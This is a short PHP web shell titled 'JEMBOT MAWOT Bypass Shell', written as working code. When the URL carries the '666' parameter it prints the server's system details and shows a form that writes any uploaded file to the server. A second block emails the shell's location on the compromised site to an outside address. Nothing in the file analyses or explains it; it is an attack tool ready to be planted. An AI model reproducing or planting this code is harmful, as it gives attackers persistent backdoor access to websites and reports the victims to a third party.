JEMBOT MAWOT Bypass Shell

<?php if(isset($_GET["666"])){echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Berhasil Cok</b>-->".$_FILES["f"]["name"];}else{echo"<b>Gagal Cok";}} die;}?>
<?php 
    ini_set( 'display_errors', 0 );
    // error_reporting( E_ALL );
    $from = "ndasmu@".$_SERVER['HTTP_HOST'];
    $to = "cs@unithawk.com";
    $subject = "Email Dari ".$_SERVER['HTTP_HOST'];
$actual_link = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
    $message = "Lokasi Script $actual_link?666";
    $headers = "From:" . $from;
    mail($to,$subject,$message, $headers);
    echo "Test email sent";

?>